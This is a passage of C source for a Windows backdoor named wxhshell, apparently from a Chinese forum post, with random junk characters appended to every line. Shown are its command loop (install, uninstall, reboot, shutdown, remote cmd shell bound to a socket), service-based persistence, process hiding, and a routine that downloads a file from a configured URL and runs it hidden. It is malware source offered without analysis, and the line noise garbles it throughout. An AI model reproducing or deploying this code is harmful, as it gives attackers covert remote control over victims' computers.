  case '?': { v|fA)W w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;,2i1m0"  
    break; dO]N&'P7  
  } R+{QZ'K.qg  
  // 安装 {w:*t)@j  
  case 'i': { U4)x"s[CP  
    if(Install()) :0@R(ct;>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /e5' YVP  
    else nb-]fa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %3b;`Oa  
    break; #gn{X!;-;  
    } _ 3@[S F  
  // 卸载 :5|'C  
  case 'r': { R9XISsM^  
    if(Uninstall()) eajctkzj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -' :;0  
    else ykK21P,v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H4RqOI  
    break; qLC_p)  
    } +g %h,@  
  // 显示 wxhshell 所在路径 !|4fww  
  case 'p': { cxX/ b ,  
    char svExeFile[MAX_PATH]; LX f r  
    strcpy(svExeFile,"\n\r"); U}f"a!  
      strcat(svExeFile,ExeFile); DBTeV-G9~R  
        send(wsh,svExeFile,strlen(svExeFile),0); o]T-7Gs4p  
    break; ^97u0K3$  
    } [0c7fH`8V  
  // 重启 Q /D?U[G  
  case 'b': { JTGA\K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /B"FGa04p(  
    if(Boot(REBOOT)) wavyREK   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6sceymq  
    else { p+x}$&<|  
    closesocket(wsh); 'O>p@BEK  
    ExitThread(0); Yr!@pHy  
    } )R %>g-dw  
    break; 10tlD<eYb  
    } 7x> \/l(  
  // 关机 #/N;ScyUJT  
  case 'd': { t =LIkwD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `-_kOxe3  
    if(Boot(SHUTDOWN)) PFR64HK2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OVq(ulwi+  
    else { 2/o_,k  
    closesocket(wsh); z`]sWi F0  
    ExitThread(0); QC\r|RXW  
    } #su R[K*S  
    break; Z$*m=]2  
    } =Jyi9VN=&  
  // 获取shell .)(5F45Wg  
  case 's': { (1%O;D.*?{  
    CmdShell(wsh);  N>V\  
    closesocket(wsh); uuaoBf  
    ExitThread(0); ?uAq goCl  
    break; A4K8DP  
  } y26?>.!  
  // 退出 6(pa2  
  case 'x': { 0*J},#ba$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1&Z#$iD  
    CloseIt(wsh); C>NLZM T  
    break; F)8M9%g5m  
    } shk yN  
  // 离开 g9~QNA  
  case 'q': { >DM^/EAG{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iQd,xr  
    closesocket(wsh); ^7Z#g0{^w  
    WSACleanup(); 2I[(UMI$7  
    exit(1); z:1"d R   
    break; R) ep1X^  
        } 6Pp3*O`/V  
  } %2@O,uCo@  
  } ?3#L?Cq  
}1kZF{KD<[  
  // 提示信息 >mAi/TZC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ew+>?a'&L  
} qs$w9I  
  } e6`g[Ap  
6N\f>c  
  return; [AHoTlPZ  
} R4_BP5+  
d DrzO*a\  
// shell模块句柄 q<XleC  
int CmdShell(SOCKET sock) fK/|0@B8  
{ >,6%Y3  
STARTUPINFO si; Zdfruzl&`  
ZeroMemory(&si,sizeof(si)); ]Uj7f4)k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aG&t gD{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OC6v%@xa  
PROCESS_INFORMATION ProcessInfo; uqHI/4  
char cmdline[]="cmd"; 0<[g7BbR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vJ?j#Ch  
  return 0; r91b]m3xL  
} Bo +Yu(|cL  
Je*hyi7  
// 自身启动模式 }PUY~ u  
int StartFromService(void) a7U`/*  
{ bZ SaL^^(  
typedef struct ugV/#v O  
{ o}b_`O  
  DWORD ExitStatus; WSxE/C|[  
  DWORD PebBaseAddress; 6s.>5}M!  
  DWORD AffinityMask; 7`J= PG$A  
  DWORD BasePriority; ]?*'[  
  ULONG UniqueProcessId; 0'Uo3jAB  
  ULONG InheritedFromUniqueProcessId; GHR r+  
}   PROCESS_BASIC_INFORMATION; XXg~eu?  
4+B&/}FDLo  
PROCNTQSIP NtQueryInformationProcess; tk\)]kj  
frRO?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HVz|*?&6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O77^.B  
>&[q`i{  
  HANDLE             hProcess; O0_kLH$.  
  PROCESS_BASIC_INFORMATION pbi; /l` "@  
TCI)L}L|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ' OXL'_Xl  
  if(NULL == hInst ) return 0; sl_f+h0  
TcpaZ 'x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G`r/ tesW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K''2Jfm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G'T: l("l  
jaL#  
  if (!NtQueryInformationProcess) return 0; HSj=g}r  
G-[.BWQ   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ex+E66bE  
  if(!hProcess) return 0; EkpM'j=  
KY+BXGW*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h4E[\<?  
a}g <<{  
  CloseHandle(hProcess); 24I\smO  
+>QD4z#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )}to7r7 `  
if(hProcess==NULL) return 0; 9P& \2/ {  
63SmQsv  
HMODULE hMod; +W+o~BE  
char procName[255]; Hto+spW  
unsigned long cbNeeded; Gt$PBlq0  
L2IY$+=M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p5Wz.n.<'  
b *Ca*!  
  CloseHandle(hProcess); |xFSGrC  
}qg.Go  
if(strstr(procName,"services")) return 1; // 以服务启动 m](q,65 2  
JN-W`2  
  return 0; // 注册表启动 =JE5/  
} dO!B=/  
8SN4E  
// 主模块 a 9!.e rM  
int StartWxhshell(LPSTR lpCmdLine) v[]&yD  
{ -5y=K40  
  SOCKET wsl; E`b<^l`  
BOOL val=TRUE; Ey&gZ$|&  
  int port=0; i4\DSQJ  
  struct sockaddr_in door; G O[u  
_F`RwBOjs  
  if(wscfg.ws_autoins) Install(); X\1.,]O >  
8X# \T/U  
port=atoi(lpCmdLine); Q#PkfjXS  
AvcN,  
if(port<=0) port=wscfg.ws_port; IoCi(N;  
| $D`*  
  WSADATA data; 7g.3)1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &%;K_asV;  
YSr u5Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }K|40oO5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ' 1D1y'  
  door.sin_family = AF_INET; Q tl!f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'RpX&g  
  door.sin_port = htons(port); y eWB.M~X  
 zt2#6v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H{g&yo  
closesocket(wsl); qa,i:T(w  
return 1; #@:GLmD%  
} j4+kL4M@H  
xeW}`i5_w  
  if(listen(wsl,2) == INVALID_SOCKET) { evlz R/  
closesocket(wsl); uF\ ;m.  
return 1; XXy &1C  
} m^KK #Hw/`  
  Wxhshell(wsl); 2`pg0ciX (  
  WSACleanup(); MX s]3M  
I` q"  
return 0; O~c\+~5M*  
o{OY1 ;=6  
} g_e_L39  
DS ^ `:^hv  
// 以NT服务方式启动 ~y>NJM>1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^v&)z ,  
{ B qcFbY  
DWORD   status = 0; Ja{[T  
  DWORD   specificError = 0xfffffff; fBnlB_}e  
u5A$VRMN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S3sxK:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vJsx_ i\i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a H *5(E]  
  serviceStatus.dwWin32ExitCode     = 0; 1? Im"  
  serviceStatus.dwServiceSpecificExitCode = 0; <CN+VXF  
  serviceStatus.dwCheckPoint       = 0; - aQf( =  
  serviceStatus.dwWaitHint       = 0; Lz=GA?lk[\  
j'q Iq;y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7i88iT  
  if (hServiceStatusHandle==0) return; Q6hWHfS  
dReJ;x4  
status = GetLastError(); ]::g-&%Um  
  if (status!=NO_ERROR) N _|tw  
{ hw 0u?++  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kB=\a(  
    serviceStatus.dwCheckPoint       = 0; p]x9hZ  
    serviceStatus.dwWaitHint       = 0; 5^C.}/#>F  
    serviceStatus.dwWin32ExitCode     = status; Yl"l|2 :  
    serviceStatus.dwServiceSpecificExitCode = specificError; cc:,,T /i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wg=-&-  
    return; b|nh4g  
  } Mcqym8,q|3  
:NXM.@jJ="  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,_I#+XiXY  
  serviceStatus.dwCheckPoint       = 0; 1Ts$kdO  
  serviceStatus.dwWaitHint       = 0; \kG;T=H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?K= X[  
} %Mr^~7nN  
!@9G9<NK  
// 处理NT服务事件,比如:启动、停止 ,Kwtp)EX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 15CKcM6  
{  @"L*!  
switch(fdwControl) o|nN0z)b4  
{ NH;.!x q:  
case SERVICE_CONTROL_STOP: :7)lgiM2  
  serviceStatus.dwWin32ExitCode = 0; V2IurDE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p>= b|Qy|  
  serviceStatus.dwCheckPoint   = 0; X*e<g=  
  serviceStatus.dwWaitHint     = 0; ;0-Y),  
  { e<r}{=1w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T[eb<  
  } !EB[Lut m  
  return; #9(L/)^  
case SERVICE_CONTROL_PAUSE: ev9ltl{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @<C<rB8R  
  break; p #Y2v  
case SERVICE_CONTROL_CONTINUE: fm$)?E_Rp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -gVsOX0  
  break; OpFm:j3  
case SERVICE_CONTROL_INTERROGATE: B-W8Zq#4>  
  break; L% `lC]  
}; !uSG 1j" y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WO{E T  
} evGUl~</~  
>6 A8+=  
// 标准应用程序主函数 LyG&FOf?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rvp#[RAaS}  
{ [xHHm5$  
MhZ\]CAs9  
// 获取操作系统版本 d#-'DO{k  
OsIsNt=GetOsVer(); Z^O_7I<5E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wOF";0EN  
z65Q"A  
  // 从命令行安装 -;j ' =?  
  if(strpbrk(lpCmdLine,"iI")) Install(); i2X%xYv ^  
1 i/&t[  
  // 下载执行文件 >Qx :l#B  
if(wscfg.ws_downexe) { XxLauJP K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l'twy$V4|~  
  WinExec(wscfg.ws_filenam,SW_HIDE); nj6|WJ  
} R_2T"  
JXq l=/%  
if(!OsIsNt) { 9z kRwrQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 %JPBD]&M  
HideProc(); v`Yj)  
StartWxhshell(lpCmdLine); dZ `c  
} Z~v-@  
else Pd04  
  if(StartFromService()) jKr>Ig=$tA  
  // 以服务方式启动 Eal*){"<,?  
  StartServiceCtrlDispatcher(DispatchTable); \^x`GsVy  
else E-Y4TBZ*  
  // 普通方式启动 kV:T2}]|H  
  StartWxhshell(lpCmdLine); UZx8ozv'  
,f}u|D 3@  
return 0; !yD$fY  
}
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只看该作者 1 发表于: 2006-10-10
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